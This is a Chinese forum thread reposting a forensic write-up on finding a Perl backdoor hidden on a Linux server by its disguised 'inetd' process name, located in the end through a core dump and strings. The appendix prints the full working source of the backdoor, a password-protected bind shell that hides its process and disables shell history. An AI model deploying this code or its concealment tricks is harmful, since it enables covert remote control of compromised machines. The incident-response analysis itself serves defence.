您尚未登录。

#1 2011-12-27 22:41:23

phoenixlzx
晩ご飯だよー
注册时间: 2011-08-19
帖子: 1,789
个人网站

一段对perl木马的分析

来源:安全焦点
作者:coolc

Coolc 2005-9-17
JustIce Security Team

背景
一个朋友的服务器出现了一个莫名其妙的inetd 进程,开了 21000 端口,怀疑被入侵。登陆上去简单检查了一下,发现骇客不留神把后门的一个副本,遗留在临时目录下。经过检查是个用 perl 脚本写的后门。叫 Telnet-like Standard Daemon。后门找到了,入侵事件也基本被定性。
1.    目前主机上还运行着该后门,很有可能黑客已经通过编写启动脚本,将后门加入了随机启动。
2.    该主机存储了大量文件,同时容量很大,普通的find和grep命令很难在短时间内完成检索
3.    为了保证性能,主机没有启动locate服务
4.    该主机是一台redhat主机,但是redhat只能检查启动脚本一部分文件的完整性。
rpm -qV initscripts
rpm -qf /etc/init.d

经过检查没有发现改动。
5.    整个主机关键目录没有做完整性校验工作。

一切似乎清晰明了,我们下一步就是找出进程中木马的位置,将其处理。但是在定位木马路径时却出现很大的困难。


分析过程
将代码下载到实验机上分析。
启动后门程序
debian:/# perl /tmp/coolc.pl
debian:/# ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 13:09 ?        00:00:02 init [2] 
root         2     1  0 13:09 ?        00:00:00 [ksoftirqd/0]
root         3     1  0 13:09 ?        00:00:17 [events/0]
root         4     3  0 13:09 ?        00:00:00 [khelper]
root         5     3  0 13:09 ?        00:00:00 [kacpid]
root        38     3  0 13:09 ?        00:00:00 [kblockd/0]
root        48     3  0 13:09 ?        00:00:00 [pdflush]
root        49     3  0 13:09 ?        00:00:01 [pdflush]
root        51     3  0 13:09 ?        00:00:00 [aio/0]
root        50     1  0 13:09 ?        00:00:00 [kswapd0]
root       193     1  0 13:09 ?        00:00:00 [kseriod]
root       214     1  0 13:09 ?        00:00:00 [scsi_eh_0]
root       221     1  0 13:09 ?        00:00:00 [khubd]
root       299     1  0 13:09 ?        00:00:01 [kjournald]
root      1109     1  0 13:10 ?        00:00:00 [pciehpd_event]
root      1129     1  0 13:10 ?        00:00:00 [shpchpd_event]
root      1680     1  0 13:10 ?        00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0
root      2024     1  0 13:10 ?        00:00:00 /sbin/syslogd
root      2027     1  0 13:10 ?        00:00:00 /sbin/klogd
Debian-   2059     1  0 13:10 ?        00:00:00 /usr/sbin/exim4 -bd -q30m
root      2065     1  0 13:10 ?        00:00:00 /usr/sbin/inetd
root      2080     1  0 13:10 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
root      2116  2080  0 13:10 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql     2117  2116  0 13:10 ?        00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysq
root      2118  2116  0 13:10 ?        00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
root      2165     1  0 13:10 ?        00:00:00 /usr/sbin/sshd
daemon    2204     1  0 13:11 ?        00:00:00 /usr/sbin/atd
root      2207     1  0 13:11 ?        00:00:00 /usr/sbin/cron
root      2214     1  0 13:11 ?        00:00:05 /usr/sbin/apache
root      2230     1  0 13:11 tty1     00:00:16 -bash
root      2247     1  0 13:11 tty3     00:00:00 /sbin/getty 38400 tty3
root      2253     1  0 13:11 tty4     00:00:00 /sbin/getty 38400 tty4
root      2259     1  0 13:11 tty5     00:00:00 /sbin/getty 38400 tty5
root      2265     1  0 13:11 tty6     00:00:00 /sbin/getty 38400 tty6
www-data  2276  2214  0 13:11 ?        00:00:00 /usr/sbin/apache
www-data  2277  2214  0 13:11 ?        00:00:00 /usr/sbin/apache
www-data  2278  2214  0 13:11 ?        00:00:00 /usr/sbin/apache
www-data  2279  2214  0 13:11 ?        00:00:00 /usr/sbin/apache
www-data  2290  2214  0 13:11 ?        00:00:00 /usr/sbin/apache
root      2338     1  0 13:18 tty2     00:00:05 -bash
root      2381  2165  0 13:29 ?        00:00:15 sshd: root@pts/0,pts/1
root      2384  2381  0 13:29 pts/0    00:00:02 -bash
root      2401  2381  0 13:30 pts/1    00:00:00 -bash
root      2812     1  2 18:04 pts/0    00:00:00 inetd
root      2813  2384  0 18:04 pts/0    00:00:00 ps -ef

通过top检查
#top
  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND           
2812 root      15   0  5928 4184 3064 S  0.0  2.2   0:00.09 perl 
显示成perl进程


通过lsof检查
debian:/# lsof |grep 2812
apache    2214        root  txt       REG        8,1   284812      22812 /usr/sbin/apache
apache    2276    www-data  txt       REG        8,1   284812      22812 /usr/sbin/apache
apache    2277    www-data  txt       REG        8,1   284812      22812 /usr/sbin/apache
apache    2278    www-data  txt       REG        8,1   284812      22812 /usr/sbin/apache
apache    2279    www-data  txt       REG        8,1   284812      22812 /usr/sbin/apache
apache    2290    www-data  txt       REG        8,1   284812      22812 /usr/sbin/apache
perl      2812        root  cwd       DIR        8,1     4096          2 /
perl      2812        root  rtd       DIR        8,1     4096          2 /
perl      2812        root  txt       REG        8,1  1057324      19396 /usr/bin/perl
perl      2812        root  mem       REG        8,1    90248     325777 /lib/ld-2.3.2.so
perl      2812        root  mem       REG        8,1     9872     325808 /lib/tls/libdl-2.3.2.so
perl      2812        root  mem       REG        8,1   134496     325809 /lib/tls/libm-2.3.2.so
perl      2812        root  mem       REG        8,1    78233     325819 /lib/tls/libpthread-0.60.so
perl      2812        root  mem       REG        8,1  1254468     325806 /lib/tls/libc-2.3.2.so
perl      2812        root  mem       REG        8,1    18876     325807 /lib/tls/libcrypt-2.3.2.so
perl      2812        root  mem       REG        8,1   290576      33562 /usr/lib/locale/locale-archive
perl      2812        root  mem       REG        8,1    17920      19420 /usr/lib/perl/5.8.4/auto/IO/IO.so
perl      2812        root  mem       REG        8,1    22352      19426 /usr/lib/perl/5.8.4/auto/Socket/Socket.so
perl      2812        root  mem       REG        8,1   114896      19423 /usr/lib/perl/5.8.4/auto/POSIX/POSIX.so
perl      2812        root  mem       REG        8,1    34748     325814 /lib/tls/libnss_files-2.3.2.so
perl      2812        root    0u      CHR      136,0                   2 /dev/pts/0
perl      2812        root    1u      CHR      136,0                   2 /dev/pts/0
perl      2812        root    2u      CHR      136,0                   2 /dev/pts/0
perl      2812        root    3u     IPv4       6116                 TCP *:3847 (LISTEN)

通过/proc检查
debian:/proc/2812# ls -al
total 0
dr-xr-xr-x   3 root root 0 2005-09-17 18:04 .
dr-xr-xr-x  68 root root 0 2005-09-17 13:09 ..
dr-xr-xr-x   2 root root 0 2005-09-17 18:06 attr
-r--------   1 root root 0 2005-09-17 18:06 auxv
-r--r--r--   1 root root 0 2005-09-17 18:04 cmdline
lrwxrwxrwx   1 root root 0 2005-09-17 18:05 cwd -> /
-r--------   1 root root 0 2005-09-17 18:06 environ
lrwxrwxrwx   1 root root 0 2005-09-17 18:05 exe -> /usr/bin/perl
dr-x------   2 root root 0 2005-09-17 18:04 fd
-r--r--r--   1 root root 0 2005-09-17 18:05 maps
-rw-------   1 root root 0 2005-09-17 18:06 mem
-r--r--r--   1 root root 0 2005-09-17 18:06 mounts
lrwxrwxrwx   1 root root 0 2005-09-17 18:05 root -> /
-r--r--r--   1 root root 0 2005-09-17 18:04 stat
-r--r--r--   1 root root 0 2005-09-17 18:05 statm
-r--r--r--   1 root root 0 2005-09-17 18:04 status
dr-xr-xr-x   3 root root 0 2005-09-17 18:06 task
-r--r--r--   1 root root 0 2005-09-17 18:06 wchan
debian:/proc/2812/fd# ls -al
total 4
dr-x------  2 root root  0 2005-09-17 18:04 .
dr-xr-xr-x  3 root root  0 2005-09-17 18:04 ..
lrwx------  1 root root 64 2005-09-17 18:05 0 -> /dev/pts/0
lrwx------  1 root root 64 2005-09-17 18:05 1 -> /dev/pts/0
lrwx------  1 root root 64 2005-09-17 18:04 2 -> /dev/pts/0
lrwx------  1 root root 64 2005-09-17 18:05 3 -> socket:[6116]

此处注意,如果黑客用./coolc.pl启动后门,在这里就会被显露出来。但是这里我比较狡猾的利用perl去解释该脚本,因此此处只能显露出socket了。

难点
常规检查top lsof  proc检查,得到的信息完全无法让我们定位此木马的位置,那么对方是通过什么手段来进行隐藏的呢?
检查了一下代码,它的技巧主要是在于如下两个地方:

1、“$0”被设置为一个虚假的名称:

my $PROC = "inetd"; # name of the process
……
$0=$PROC."\0";

因此在进程中看到进程名是 inetd

2、因为是 perl 脚本后门,他进行了chdir,因此在 proc 里面看到的是 perl 的信息。

$PORT = $ARGV[0] if ($ARGV[0]);
chdir('/');

no strict 'refs';
my $bindfd = *{'bind_sock'};
……
这段代码导致proc里其路径变为了/,而非程序存在路径。如此看来,整个检查工作在这一步进一步陷入僵局。

前期背景交代中已经阐明,由于服务器文件众多,不易进行诸如find ,grep等查找。
但目前这个后门可能被写在其他脚本中,通过调用关系启动。需要及早查出。

本来通过常规方法,通过进程与文件的关联,使用诸如lsof等工具软件是可以查出的。但此类工具都是通过proc的访问来获取文件的,但是目前proc信息被重写,似乎一切都被擦除的没有了踪迹。




Core_dump的尝试

采用coredump思路是这样产生的,目前文件系统,proc在我们基本确认没有希望获取信息的时候,大多数工具进行检查的意义也不大了。同时由于是PERL脚本,很多信息只会表现为perl进程的信息。

但是也许在一个地方还有我们需要的信息,那就是该进程的内存中残存的信息。而linux本身提供CORE DUMP机制,可以让我们通过DUMP后门进程中的数据,来获取数据。
那么下面在我的实验环境中来操作一下我们的思路,看看上述方法是否可行。

检查core dump环境设置

debian:~# ulimit -a         
core file size        (blocks, -c) unlimited
data seg size         (kbytes, -d) unlimited
file size             (blocks, -f) unlimited
max locked memory     (kbytes, -l) unlimited
max memory size       (kbytes, -m) unlimited
open files                    (-n) 1024
pipe size          (512 bytes, -p) 8
stack size            (kbytes, -s) 8192
cpu time             (seconds, -t) unlimited
max user processes            (-u) unlimited
virtual memory        (kbytes, -v) unlimited

启动perl木马
debian:/# mkdir /tmp/.coolc
debian:/# cp /root/1.pl  /tmp/.coolc/coolc.pl
debian:/# perl /tmp/.coolc/coolc.pl

经过检查,后门正常启动。
debian:/# ps -ef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 13:09 ?        00:00:00 init [2] 
root         2     1  0 13:09 ?        00:00:00 [ksoftirqd/0]
root         3     1  0 13:09 ?        00:00:13 [events/0]
root         4     3  0 13:09 ?        00:00:00 [khelper]
root         5     3  0 13:09 ?        00:00:00 [kacpid]
root        38     3  0 13:09 ?        00:00:00 [kblockd/0]
root        48     3  0 13:09 ?        00:00:00 [pdflush]
root        49     3  0 13:09 ?        00:00:00 [pdflush]
root        51     3  0 13:09 ?        00:00:00 [aio/0]
root        50     1  0 13:09 ?        00:00:00 [kswapd0]
root       193     1  0 13:09 ?        00:00:00 [kseriod]
root       214     1  0 13:09 ?        00:00:00 [scsi_eh_0]
root       221     1  0 13:09 ?        00:00:00 [khubd]
root       299     1  0 13:09 ?        00:00:00 [kjournald]
root      1109     1  0 13:10 ?        00:00:00 [pciehpd_event]
root      1129     1  0 13:10 ?        00:00:00 [shpchpd_event]
root      1680     1  0 13:10 ?        00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0
root      2024     1  0 13:10 ?        00:00:00 /sbin/syslogd
root      2027     1  0 13:10 ?        00:00:00 /sbin/klogd
Debian-   2059     1  0 13:10 ?        00:00:00 /usr/sbin/exim4 -bd -q30m
root      2065     1  0 13:10 ?        00:00:00 /usr/sbin/inetd
root      2080     1  0 13:10 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
root      2116  2080  0 13:10 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql     2117  2116  0 13:10 ?        00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysq
root      2118  2116  0 13:10 ?        00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
root      2165     1  0 13:10 ?        00:00:00 /usr/sbin/sshd
daemon    2204     1  0 13:10 ?        00:00:00 /usr/sbin/atd
root      2207     1  0 13:10 ?        00:00:00 /usr/sbin/cron
root      2214     1  0 13:11 ?        00:00:00 /usr/sbin/apache
root      2230     1  0 13:11 tty1     00:00:16 -bash
root      2247     1  0 13:11 tty3     00:00:00 /sbin/getty 38400 tty3
root      2253     1  0 13:11 tty4     00:00:00 /sbin/getty 38400 tty4
root      2259     1  0 13:11 tty5     00:00:00 /sbin/getty 38400 tty5
root      2265     1  0 13:11 tty6     00:00:00 /sbin/getty 38400 tty6
www-data  2276  2214  0 13:11 ?        00:00:00 /usr/sbin/apache
www-data  2277  2214  0 13:11 ?        00:00:00 /usr/sbin/apache
www-data  2278  2214  0 13:11 ?        00:00:00 /usr/sbin/apache
www-data  2279  2214  0 13:11 ?        00:00:00 /usr/sbin/apache
www-data  2290  2214  0 13:11 ?        00:00:00 /usr/sbin/apache
root      2338     1  0 13:18 tty2     00:00:05 -bash
root      2381  2165  0 13:29 ?        00:00:09 sshd: root@pts/0,pts/1
root      2384  2381  0 13:29 pts/0    00:00:00 -bash
root      2401  2381  0 13:30 pts/1    00:00:00 -bash
root      2545     1  1 13:59 pts/0    00:00:00 inetd
root      2546  2384  0 13:59 pts/0    00:00:00 ps -ef

发送信号SIGSEGV 来DUMP出我们需要的信息。
debian:/# ps –ef
debian:/# kill -SIGSEGV 2545
通过string来获取字符串。

#stings  core
……
INADDR_LOOPBACK
SelectSaver.pm
croak
carp
Exporter
BEGIN
main
/tmp/.coolc/coolc.pl
import
/tmp/.coolc/coolc.pl
Main
……
找到了 :)


总结
经过多次检查,发现在string出来的字符串中,在出现perl路径等信息后,木马加密的字符串之前的内容就是后门路径,通过此方法可以很精确的定位后门位置。很明显这是脚本初始化时保留的信息。

……

/etc/perl
/usr/lib/perl/5.8
/usr/local/lib/perl/5.8.4
/usr/local/share/perl/5.8.4
/usr/lib/perl5
/usr/share/perl5
/usr/share/perl/5.8
/usr/local/lib/site_perl
nux-
/tmp/coolc.pl
/tmp/coolc.pl
ouhEUhhJ6RbwE
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
……

本次检查开阔了我的眼界,在解释器中的后门定位问题远比我想象的要难,因为大量的细节被封装在了解释器内部。

在安全检查时,一个精巧的技巧将会使检查人员陷入尴尬的境地,因此我们需要不断的加强深度广度的拓展,一个安全人员的知识覆盖面和对系统的熟悉程度,往往最终决定了你安全检查的成败。

这里特别感谢raymond  aa  coolq和我的讨论和技术上的帮助。
附录
#木马源码
#!/usr/bin/perl
# Telnet-like Standard Daemon 0.7
#
#    0ldW0lf - oldwolf@atrixteam.net
#            - old-wolf@zipmai.com
#            - http://www.atrix.cjb.net
#            - http://www.atrixteam.net
#
#  For those guys that still like to open ports
#  and use non-rooted boxes
#
#  This has been developed to join in the TocToc
#  project code, now it's done and I'm distributing
#  this separated
#
#  This one i made without IO::Pty so it uses
#  only standard modules... enjoy it
#
#  tested on linux boxes.. probably will work fine on others
#  any problem... #atrix@irc.brasnet.org
#

##########################################################
# ******************* CONFIGURATION ******************** #
##########################################################
my $PORT        = $ARGV[0] || 3847;        # default port is 3847
my $PASS        = 'ouhEUhhJ6RbwE';         # encripted password
my $SHELL       = "/bin/bash";             # shell to be executed
my $HOME        = "/tmp";                  # your HOME
my $PROC        = "inetd";                 # name of the process
my $PASS_PROMPT = "Password: ";            # password prompt
my $WRONG_PASS  = "Password Errata!";       # "wrong password" message
my @STTY        = ('sane', 'dec');         # stty arguments
##########################################################

# feel free to change the ENV
#### ENVironment ####
$ENV{HOME}       = $HOME;
#$ENV{PS1}        = '[\u@\h \W]: '; # the way i like smile
                 # colorful PS1 is also funny smile
$ENV{PS1}        = '\[\033[3;36m\][\[\033[3;34m\]\[\033[1m\]\u\[\033[3;36m\]@\[\033[0m\]\[\033[3;34m\]\[\033[1m\]\h \[\033[0m\]\[\033[1m\]\W\[\033[0m\]\[\033[3;36m\]]\[\033[0m\]\[\033[1m:\[\033[0m\] ';
$ENV{MAIL}       = '/var/mail/root';
$ENV{PATH}       = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin';
$ENV{HISTFILE}   = '/dev/null';
$ENV{USER}       = 'root';
$ENV{LOGNAME}    = 'root';
$ENV{LS_OPTIONS} = ' --color=auto -F -b -T 0';
$ENV{LS_COLORS}  = 'no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.bz2=01;31:*.rpm=01;31:*.deb=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.mpg=01;37:*.avi=01;37:*.mov=01;37:';
$ENV{SHELL}      = $SHELL;
$ENV{TERM}       = 'xterm';
#####################

$0=$PROC."\0";

use IO::Socket;
use IO::Select;
use POSIX;
use strict;

# i wouldn't change that
# if i were you
###### SIGnals ######
$SIG{HUP}  = 'IGNORE';
$SIG{PS}   = 'IGNORE';
$SIG{TERM} = 'IGNORE';
$SIG{CHLD} = sub { wait; };
#####################


# ioctl stuff
my %IOCTLDEF;
$IOCTLDEF{TIOCSWINSZ} = 0x5414;
$IOCTLDEF{TIOCNOTTY}  = 0x5422;
$IOCTLDEF{TIOCSCTTY}  = 0x540E;
safeload('sys/ttycom.ph', 1); # BSD
safeload('sys/ioctl.ph', 1);
safeload('asm/ioctls.ph', 1);

foreach my $IOCTL (keys(%IOCTLDEF)) {
  next if (defined(&{$IOCTL}));

  if (open(IOD, "< /usr/include/asm/ioctls.h")) { # linux
    while(<IOD>) {
      if (/^\#define\s+$IOCTL\s+(.*?)\n$/) {
        eval "sub $IOCTL () {$1;}";
        last;
      }
    }
    close(IOD);
  }

  # i realy dunno if i can do that.. but.. here it goes
  eval "sub $IOCTL () { $IOCTLDEF{$IOCTL};}" unless (defined(&{$IOCTL}));
}


# starting...
$PORT = $ARGV[0] if ($ARGV[0]);
chdir('/');

no strict 'refs';
my $bindfd = *{'bind_sock'};
*{$bindfd}= IO::Socket::INET->new(Listen => 1, LocalPort => $PORT, Proto => "tcp") || die "could not listen on port $PORT: $!";
my $bind = \*{$bindfd};

my $pid = fork();
die "ERROR: I could not fork() the process." unless defined($pid);
exit if $pid;


my %CLIENT;
my $sel_serv = IO::Select->new($bind);
my $sel_shell = IO::Select->new();


# main loop...
while ( 1 ) {
  select(undef,undef,undef, 0.3) if (scalar(keys(%CLIENT)) == 0);

  read_clients();
  read_shells();
}

sub read_clients {
  map { read_client($_) } ($sel_serv->can_read(0.01));
}

sub read_client {
  my $fh = shift;

  if ($fh eq $bind) {
    my $newcon = $bind->accept;
    $sel_serv->add($newcon);
    $CLIENT{$newcon}->{senha} = 0;
    $CLIENT{$newcon}->{sock} = $newcon;
    $fh->autoflush(1);
    do_client($newcon, '3', '5', '1');
    sleep(1);
    write_client($newcon, $PASS_PROMPT) if ($PASS_PROMPT);
  } else {
      my $msg;
      my $nread = sysread($fh, $msg, 1024);

      if ($nread == 0) {
        close_client($fh);
      } else {
         telnet_parse($fh, $msg);
      }
  }
}

sub read_shells {
  map { read_shell($_) } ($sel_shell->can_read(0.01));
}

sub telnet_parse {
  my ($cli, $msg) = @_;
  my $char = (split('', $msg))[0];

  if (ord($char) == 255) {
     chr_parse($cli, $msg);
  } else {
     if ($CLIENT{$cli}->{senha} == 0) {
       $CLIENT{$cli}->{buf} .= $msg;

       return() unless ($msg =~ /\r|\n/);

       my $pass = $CLIENT{$cli}->{buf};
       $CLIENT{$cli}->{buf} = '';

       $pass =~ s/\n//g;
       $pass =~ s/\0//g;
       $pass =~ s/\r//g;

       if (crypt($pass, $PASS) ne $PASS) {
         finish_client($cli, "\r\n\r".$WRONG_PASS."\r\n\r");
       } else {
          $CLIENT{$cli}->{senha} = 1;
          write_client($cli, chr(255).chr(253).chr(31));
          write_client($cli, "\r\n\r\r\n\r");
          new_shell($cli);
       }
       return();
     }

     $msg =~ s/\r\n\0\0//g;
     $msg =~ s/\0//g;
     $msg =~ s/\r\n/\n/g;
     write_shell($cli, $msg);
  }
}

sub read_shell {
  my $shell = shift;
  my $cli;
  map { $cli = $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shell} eq $shell) } keys(%CLIENT);

  my $msg;
  my $nread = sysread($shell, $msg, 1024);

  if ($nread == 0) {
    finish_client($cli, "Terminal closed.\r\n\r");
  } else {
     write_client($cli, $msg);
  }
}

sub to_chr {
  my $chrs = '';
  map { $chrs .= chr($_) }  (split(/ +/, shift));
  return($chrs);
}

sub do_client {
  my ($client, @codes) = @_;
  map { write_client($client, chr(255).chr(251).chr($_)) } @codes;
}


sub chr_parse {
  my ($client, $chrs) = @_;

  my $ords = '';
  map { $ords .= ord($_).' ' } (split(//, $chrs));
  my $msg = '';


  if ($ords =~ /255 250 31 (\d+) (\d+) (\d+) (\d+)/) {
     my $winsize = pack('C4', $4, $3, $2, $1);
     ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);# || die "erro: $!";
  }

  foreach my $code (split("255 ", $ords)) {
    if ($code =~ /(\d+) (.*)$/) {
      my $codes = $2;
      if ($1 == 251) {
        # do whatever you want dude ehehe
        $msg .= chr(255).chr(253);

        map { $msg .= chr($_) } (split(/ +/, $codes));
      }
    }
  }

  write_client($client, $msg) if ($msg);
  return(1);
}

sub new_shell {
  my $cli = shift;

  POSIX::setpgid(0, 0);

  my ($tty, $pty);

  unless (($tty, $pty) = open_tty($cli)) {
    finish_client($cli, "ERROR: No more pty磗 avaliable\n");
    return(undef);
  }

  my $pid = fork();
  if (not defined($pid)) {
    finish_client($cli, "ERROR: fork()\n");
    return(undef);
  }

  unless($pid) {
    close($pty);

    local(*DEVTTY);

    if (open (DEVTTY, "/dev/tty")) {
      ioctl(DEVTTY, &TIOCNOTTY, 0 );# || die "erro: $!";
      close(DEVTTY);
    }

    POSIX::setsid();
    ioctl($tty, &TIOCSCTTY, 0);# || die "erro: $!";

    open (STDIN, "<&".fileno($tty)) || die "I could not reopen STDIN: $!";
    open (STDOUT, ">&".fileno($tty)) || die "I could not reopen STDOUT: $!";
    open (STDERR, ">&".fileno($tty)) || die "I could not reopen STDERR: $!";
    close($tty);

    sleep(1);

    foreach my $stty ("/bin/stty", "/usr/bin/stty") {
      next unless (-x $stty);
      map { system("$stty", $_) } @STTY;
    }

    chdir("$HOME");
    { exec("$SHELL") };

    syswrite(STDOUT, "\n\nERROR: exec($SHELL)\n\nI could not execute the shell ($SHELL)\nHowever you are lucky tongue\nYou can use the \"I'm FUCKED!\" mode and fix up this thing...\nTip: Find some shell and execute it wink\n\n");
    syswrite(STDOUT, "\n\nOK! I'm Fucked mode.\n");
    syswrite(STDOUT, "Type ^C to exit\n\nI'm FuCKeD!# ");

    while (my $msg = <STDIN>) {
      $msg =~ s/\n$//;
      $msg =~ s/\r$//;

      if ($msg =~ /^\s*cd\s+(\S+)/) {
        my $notf = "directory $1 not found!\n";
        chdir($1) || syswrite(STDOUT, $notf, length($notf));
      } else {
         system("$msg 2>&1");
      }
      syswrite(STDOUT, "I'm FuCKeD!# ");
    }

    exit;
  }
  close($tty);

  select($pty); $| = 1;
  select(STDOUT);

  set_raw($pty);

  $CLIENT{$cli}->{shell} = $pty;
  $sel_shell->add($pty);

  return(1);
}



# Funciton set_raw() stolen from IO::Pty
sub set_raw($) {
  my $self = shift;
  return 1 if not POSIX::isatty($self);
  my $ttyno = fileno($self);
  my $termios = new POSIX::Termios;
  unless ($termios) {
#    warn "set_raw: new POSIX::Termios failed: $!";
    return undef;
  }
  unless ($termios->getattr($ttyno)) {
#    warn "set_raw: getattr($ttyno) failed: $!";
    return undef;
  }
  $termios->setiflag(0);
  $termios->setoflag(0);
  $termios->setlflag(0);
  $termios->setcc(&POSIX::VMIN, 1);
  $termios->setcc(&POSIX::VTIME, 0);
  unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) {
#    warn "set_raw: setattr($ttyno) failed: $!";
    return undef;
  }
  return 1;
}

sub open_tty {
  no strict;
  my $cli = shift;
  my ($PTY, $TTY) = (*{"pty.$cli"}, *{"tty.$cli"}); # believe me old versions hmm

 
  for (my $i = 0; $i < 256; $i++) {
     my $pty = get_tty($i, "/dev/pty");
     next unless (open($PTY, "+> $pty"));

     my $tty = get_tty($i, "/dev/tty");

     unless(open($TTY, "+> $tty")) {
       close($PTY);
       next;
     }

     return($TTY, $PTY);

  }

  return();
}

sub get_tty {
  my ($num, $base) = @_;

  my @series = ('p' .. 'z', 'a' .. 'e');
  my @subs = ('0' .. '9', 'a' .. 'f');

  my $buf = $base;
  $buf .= @series[($num >> 4) & 0xF];
  $buf .= @subs[$num & 0xF];

  return($buf);
}

sub safeload {
  my ($module, $require, $arg) = @_;
  my $file = $module;
  $file =~ s/::/\//g;

  if ($require) {
    # all found gonna be loaded
    map { eval ("require \"$_/$file\";") if(-f "$_/$file"); } @INC;
  } else {
      $file .= ".pm" unless ($file =~ /(\.pm|\.ph)$/);
      return(eval("use $module $arg;")) if (grep { -f "$_/$file" } @INC);
  }

  return();
}

sub write_shell {
  my ($cli, $msg) = @_;
  my $shell = $CLIENT{$cli}->{shell};

  return(undef) unless ($shell);

  foreach my $m (split_chars($msg, 20)) {
    read_shells();
    print $shell $m;
    read_shells();
  }
  return(1);
}

sub split_chars {
  my ($msg, $nchars) = @_;

  my @splited;
  my @chrs = split ('', $msg);
  my $done = 0;
  while ( 1 ) {
    my $splited = join('', @chrs[$done .. ($done+$nchars-1)]);
    $done += $nchars;
    last if (length($splited) < 1);
    push(@splited, $splited);
  }
  return(@splited);
}

sub finish_client {
  my ($cli, $msg) = @_;
  write_client($cli, $msg);
  close_client($cli);
}
   
sub close_client {
  my $cli = shift;
  my $sock = $CLIENT{$cli}->{sock};

  $sel_serv->remove($sock);
  if ($CLIENT{$cli}->{shell}) {
    my $shell = $CLIENT{$cli}->{shell};
    $sel_shell->remove($shell);
    close($shell);
  }
  $sock->close() if($sock);
  delete($CLIENT{$cli});
}

sub write_client {
   my ($cli, $msg) = @_;
   my $sock = $CLIENT{$cli}->{sock};
   syswrite($sock, $msg, length($msg)) if ($sock);
}

离线

#2 2011-12-27 23:37:09

hceasy
论坛版主
所在地: @earth
注册时间: 2011-08-27
帖子: 67
个人网站

Re: 一段对perl木马的分析

比在win下找强多了。。。  :em06


WARNING:   纯引用、纯表情、纯翻页、空白,四类请勿跟帖。谢谢!
hceasy.com

离线

#3 2011-12-29 14:23:30

ffwalle
机器人
注册时间: 2011-12-03
帖子: 393

Re: 一段对perl木马的分析

安全焦点不大更新,给楼主推荐一下blackhat,上面的文章不错,如果admin能翻译过来更好


just for fun :-)

离线

#4 2011-12-29 15:25:18

phoenixlzx
晩ご飯だよー
注册时间: 2011-08-19
帖子: 1,789
个人网站

Re: 一段对perl木马的分析

walle 说:

安全焦点不大更新,给楼主推荐一下blackhat,上面的文章不错,如果admin能翻译过来更好

大致看了一下,还不错。只是我个人更倾向与白帽黑客。blackhat的文章还没认真看,有时间找篇简单的翻译过来。

离线

#5 2011-12-31 18:26:40

ffwalle
机器人
注册时间: 2011-12-03
帖子: 393

Re: 一段对perl木马的分析

phoenixlzx 说:
walle 说:

安全焦点不大更新,给楼主推荐一下blackhat,上面的文章不错,如果admin能翻译过来更好

大致看了一下,还不错。只是我个人更倾向与白帽黑客。blackhat的文章还没认真看,有时间找篇简单的翻译过来。

此blackhat并非你理解的'黑冒',该站只是技术文章较新较即时而已。另外,usenix的sec也不错。国内的那个安全焦点很久都不更新了。。。不知道怎么回事。


just for fun :-)

离线

#6 2011-12-31 18:58:11

phoenixlzx
晩ご飯だよー
注册时间: 2011-08-19
帖子: 1,789
个人网站

Re: 一段对perl木马的分析

哦,误会了。

安全焦点现在冷清的要命...

离线

#7 2011-12-31 22:32:15

jtshs256
论坛版主
注册时间: 2011-08-19
帖子: 294

Re: 一段对perl木马的分析

ee 快来…… :em04

离线

#8 2012-01-01 17:38:36

Zypeh
会员
注册时间: 2011-12-17
帖子: 19

Re: 一段对perl木马的分析

jtshs256 说:

ee 快来…… :em04

:em05

离线

页脚